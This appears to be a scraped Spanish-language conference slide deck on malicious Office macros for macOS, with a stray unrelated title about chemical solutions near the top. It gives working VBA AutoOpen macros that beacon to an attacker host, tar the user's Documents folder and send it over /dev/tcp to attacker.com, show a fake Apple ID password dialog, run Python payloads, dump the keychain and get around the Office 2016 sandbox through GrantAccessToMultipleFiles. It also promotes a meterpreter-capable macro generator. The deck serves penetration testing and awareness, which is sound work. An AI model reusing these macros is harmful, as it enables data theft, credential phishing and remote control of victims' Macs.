Este documento describe nuevos vectores de ataque que permiten ejecutar código malicioso en Mac mediante macros de Office, a pesar de las protecciones del sandbox de Office 2016. Explica cómo abusar de funciones como GrantAccessToMultipleFiles() y osascript para solicitar permisos de acceso a archivos o engañar a usuarios a revelar credenciales. También presenta Macphish, una herramienta que genera macros maliciosas para pruebas de ingeniería social.
Unidad V. Disoluciones quimica de las disoluciones
Old fox new tricks malicious macros are back
1.
2. Old fox, new tricks –
Malicious OSX/MacOS macros
are back
Paulino Calderon <@calderpwn>
calderon@websec.mx - http://calderonpale.com - http://websec.mx
3. $whoami
• Pruebas de Penetración, Análisis de Vulnerabilidades, Revisión de
Código Fuente y Pruebas de Ingeniería Social en Websec
(http://websec.mx/).
• Autor de libros con PacktPub (https://www.packtpub.com) y
cursos en línea con Pluralsight (https://www.pluralsight.com).
• Me gusta desarrollar software libre, experimentar con tecnologías
nuevas y buscar vulnerabilidades en software.
• Chapter leader de OWASP Riviera Maya
5. ¿De qué vamos a hablar hoy?
• Ataques con macros maliciosos para Mac
(OSX/MacOS) ”in the wild”.
• Vectores de ataques en Office 2011.
• Nuevos vectores de ataque contra Office 2016 que
funcionan a pesar de las protecciones del sandbox.
• Macphish – Nueva herramienta para generar macros
para Mac para pruebas de ingeniería social.
6.
7. U.S. Allies and Rivals Digest Trump's
Victory – Carnegie Endowment for
International Peace.docm
• Descubierto en Febrero 2017.
• Al ejecutarse el macro malicioso:
• Verificaba que Little Snitch no estuviera ejecutándose.
• Descargaba Stager de EmPyre.
• Atacantes tenían acceso a todos los módulos de EmPyre.
• Patrick Wardle publicó un análisis en su sitio web. ->
https://objective-see.com/blog/blog_0x17.html
• Interesante pero este ataque no funciona si el usuario usa Office
2016.
8.
9. Un poco de historia…
• Office 2008 for Mac mitigaba los macros maliciosos totalmente… al
no soportar VBA.
• En Office 2011 for Mac vuelven a soportar VBA macros.
• Debido a los serios problemas de seguridad, Office 2016 for Mac
ahora se ejecuta en un App Sandbox.
• Aunque los usuarios ejecuten el macro, ¡ya no podemos acceder a
archivos de usuario/sistema! … ¿O sí?
13. Macros en OSX/MacOS
• Deben guardarse en un archivo
.docm.
• Requieren interacción del usuario.
• No se puede configurar Office para
que automáticamente no ejecute
macros:
• O ejecuta automáticamente todos los
macros.
• O te pregunta cada vez que abres un
macro.
14. Macros multiplataforma
•Condicionales en Office nos permiten crear
macros multiplataforma y detectar la versión
de Office.
•”If Mac” disponible desde Office 2011.
•MAC_OFFICE_VERSION desde Office 2016.
16. Ejecución de código malicioso con
System()
• En OSX/MacOS es posible ejecutar código malicioso
utilizando la función System() de libc.dylib.
17.
18. Problemas utilizando System()
• Está técnica presenta ciertas desventajas:
• Requiere soportar ambas versiones (32/64 bits).
• No funciona en todos los sistemas.
19. Abusando Macscript
• La función de VBA Macscript() fue diseñada para ejecutar scripts
Applescript en documentos de Mac.
• Deprecada pero aún funciona en Office 2016.
• Office 2016 requiere que los scripts sean colocados en una carpeta
específica. Esto principalmente para evitar que macros descarguen
scripts adicionales y los ejecuten.
• Sin embargo, es posible abusar Macscript para ejecutar binarios del
sistema.
• Ojo: No todos los binarios son permitidos.
20. Ejecutando binarios con Macscript
Sub AutoOpen()
MacScript ("do shell script ""<binary>"" ")
End Sub
21. No todos los binarios son iguales
• Office 2016 no permite la ejecución de cualquier binario. Sin
embargo, podemos invocar:
• Utilidades: curl, tar, xxd, ping, nslookup y osascript.
• Interpretes de programación: Python, Ruby, Perl.
• Si el binario no está permitido, el sistema regresa este
error:
22. Abusando utilidades de sistema
Phone Home
Utilidades clásicas como ping o curl pueden ser utilizadas
como beacons de notificación.
Sub AutoOpen()
MacScript ("do shell script ""ping -c 1 attacker.com"" ")
End Sub
23. Abusando utilidades de sistema
Exfiltrando datos de usuario
Además tenemos acceso a sockets directamente:
/dev/tcp/atacante.com/443
Entonces también podemos comprimir la carpeta de
Documentos de usuario y enviarnosla:
Sub AutoOpen()
MacScript ("do shell script ""tar zcf - ~/Documents | xxd -p
>/dev/tcp/attacker.com/443"" ")
End Sub
24. Abusando osascript
• Osascript es una utilidad disponible en todas las Macs que
sirve para ejecutar scripts en Applescript.
• A pesar de que eventos de sistema están bloqueados,
tenemos acceso a funcionalidad para crear diálogos,
acceder al portapapeles y obtener información del
sistema.
25. Phishing de credenciales con
osascript
Podemos utilizar diálogos para engañar a usuarios a que
introduzcan sus credenciales y las enviamos utilizando
alguna de las técnicas descritas anteriormente.
26. Phishing de credenciales con
Macscript
MacScript("do shell script ""/usr/bin/osascript -e
'display dialog ""Microsoft Word requiere de tu
contraseña de tu Apple ID para descifrar el archivo"" &
return & return default answer """" with icon file
""Applications:Utilities:Keychain
Access.app:Contents:Resources:AppIcon.icns"" with
hidden answer with title ""Microsoft Word""'""")
28. Phishing de credenciales con
osascript
• Funciona en Office 2011/2016.
• Localmente también puede ser ejecutado:
http://fuzzynop.blogspot.com/2014/10/osascript-for-local-phishing.html
• Ahora también implementado en otras herramientas:
• Bash Bunny
https://github.com/hak5/bashbunny-
payloads/tree/master/payloads/library/phishing/MacPhish
• EmPyre
https://medium.com/@malcomvetter/multi-platform-macro-
phishing-payloads-3b688e8eff68
29. Phishing de credenciales con
osascript
• Se puede personalizar los diálogos con íconos de
aplicaciones en el sistema.
• Applications:Utilities:Keychain
Access.app:Contents:Resources:AppIcon.icns
30. Abusando de los interpretes de
lenguajes de programación
Podemos ejecutar código utilizando interpretes de
lenguajes de programación (Python/Ruby/Perl):
Sub AutoOpen()
MacScript ("do shell script ""python -c <payload>"" ")
End Sub
34. Macros para Office 2016
• El sandbox de Office 2016 bloquea el acceso a
cualquier recurso no definido en las políticas de
seguridad.
• Aunque los usuarios habiliten la ejecución de macros,
la mayoría de malware no va a funcionar en Office
2016.
• No se conocían vectores de ataque que funcionaran
contra Office 2016.
35. El sandbox de Office 2016
¿Qué podemos hacer si nos enfrentamos a usuarios con Office 2016?
36. Abusando de GrantAccessToMultipleFiles
• Office 2016 introdujo un par de funciones nuevas entre ellas
GrantAccessToMultipleFiles().
• GrantAccessToMultipleFiles recibe un arreglo de archivos en el
sistema y solicita permisos de acceso.
• ¡La documentación no dice nada de que carpetas también son
soportadas! ¿Para qué solicitar individualmente acceso a archivos si le
podemos pedir acceso a toda la carpeta?
• One shot: Solo tenemos una oportunidad porque la selección del
usuario es guardada para siempre.
• Esto tiene muchas implicaciones de las cuales hablaremos más
adelante.
38. Abusando de GrantAccessToMultipleFiles
Sub AutoOpen()
GrantAccessToMultipleFiles(”/Users/<usuario>/Documents”)
MacScript ("do shell script ""python -c <payload>"" ")
End Sub
40. Abusando GrantAccessToMultipleFiles
Permisos globales
Debido a que el dialogo se presenta una sola vez y los
permisos son asignados para siempre:
• Si el usuario otorga los permisos, cualquier macro que
se ejecute en el sistema tendrá acceso a esos archivos.
Si los usuarios ya habían permitido a un macro
legitimo acceder a estos archivos, nuestro macro
malicioso también tendría acceso a esos archivos.
42. Abusando GrantAccessToMultipleFiles
Denegación de Servicio Permanente (DoS)
• Si el usuario no otorga los permisos, macros
legítimos no podrán acceder a esos archivos
posteriormente.
• No existe una interfaz para administrar estos
permisos. La respuesta de la primera petición se usa
para siempre.
• Posible Denegación de Servicio permanente.
43. Preparando los payloads maliciosos
• Payload script en Applescript debe ser escapado para ejecutarse
inline a través de osascript. Debemos considerar VBA escaping
también.
• GrantAccessToMultipleFiles requiere saber la ruta completa al
directorio del usuario objetivo. (Cambia de objetivo a objetivo)
• La ruta también la podemos obtener abusando de osascript
44. Macphish – Generador de macros maliciosos
para pruebas de ingeniería social
https://github.com/cldrn/macphish
45. Macphish
• Genera scripts en Applescript para pruebas de
ingeniería social.
• Plantillas de macros multiplataforma.
• Nombres de funciones aleatorios.
• Payloads de meterpreter y Empyre (*).
• Configuración automática de entorno de usuario.
https://github.com/cldrn/macphish
46. Macphish - Beacon
• Payload no malicioso que simplemente envía señal a
casa sobre su ejecución. (”Phone home”)
• Útil para estadísticas sobre ejecución de macros.
• Funciona en Office 2011 y Office 2016.
https://github.com/cldrn/macphish
48. Macphish - Creds
• Payload para intentar obtener credenciales locales de
usuarios.
• Utiliza funcionalidad de diálogos de osascript para
realizar el ataque de phishing.
• Funciona en Office 2011 y Office 2016.
https://github.com/cldrn/macphish
50. Macphish - Meterpreter
• Payload para obtener shell de meterpreter en
víctimas.
• Utiliza payloads en python.
• Funciona en Office 2011 sin restricciones.
• Office 2016 quedamos dentro del sandbox ->
https://github.com/cldrn/macphish
52. Macphish – Meterpreter c/
GrantAccessToMultipleFiles()
• Payload para solicitar permisos a los Documentos de
usuarios antes de ejecutar una shell de meterpreter.
• En Office 2016 saltamos el sandbox si:
• La víctima autoriza (o autorizó a otro archivo) el acceso a
los documentos.
• El documento se encuentra dentro de la ruta que
solicita. (*)
https://github.com/cldrn/macphish
55. Ideas adicionales
• Automatizar la persistencia.
• Elevación de privilegios a través de vulnerabilidades
del sistema.
• Dumpeo de contraseñas a través del keychain.
• MacScript("do shell script ""security dump-keychain -d login.keychain"" ")
56. Ligas
• Documentación de macphish
https://github.com/cldrn/macphish/wiki
• Websec:
http://websec.mx/blog/ver/mac-macros-y-macphish
• App Sandbox:
https://developer.apple.com/library/content/documentation/Security/Conceptual/AppSandbox
DesignGuide/AboutAppSandbox/AboutAppSandbox.html
• VBA improvements in Office 2016:
https://dev.office.com/blogs/VBA-improvements-in-Office-2016
• Credential phishing in Empyre:
https://medium.com/@malcomvetter/multi-platform-macro-phishing-payloads-
3b688e8eff68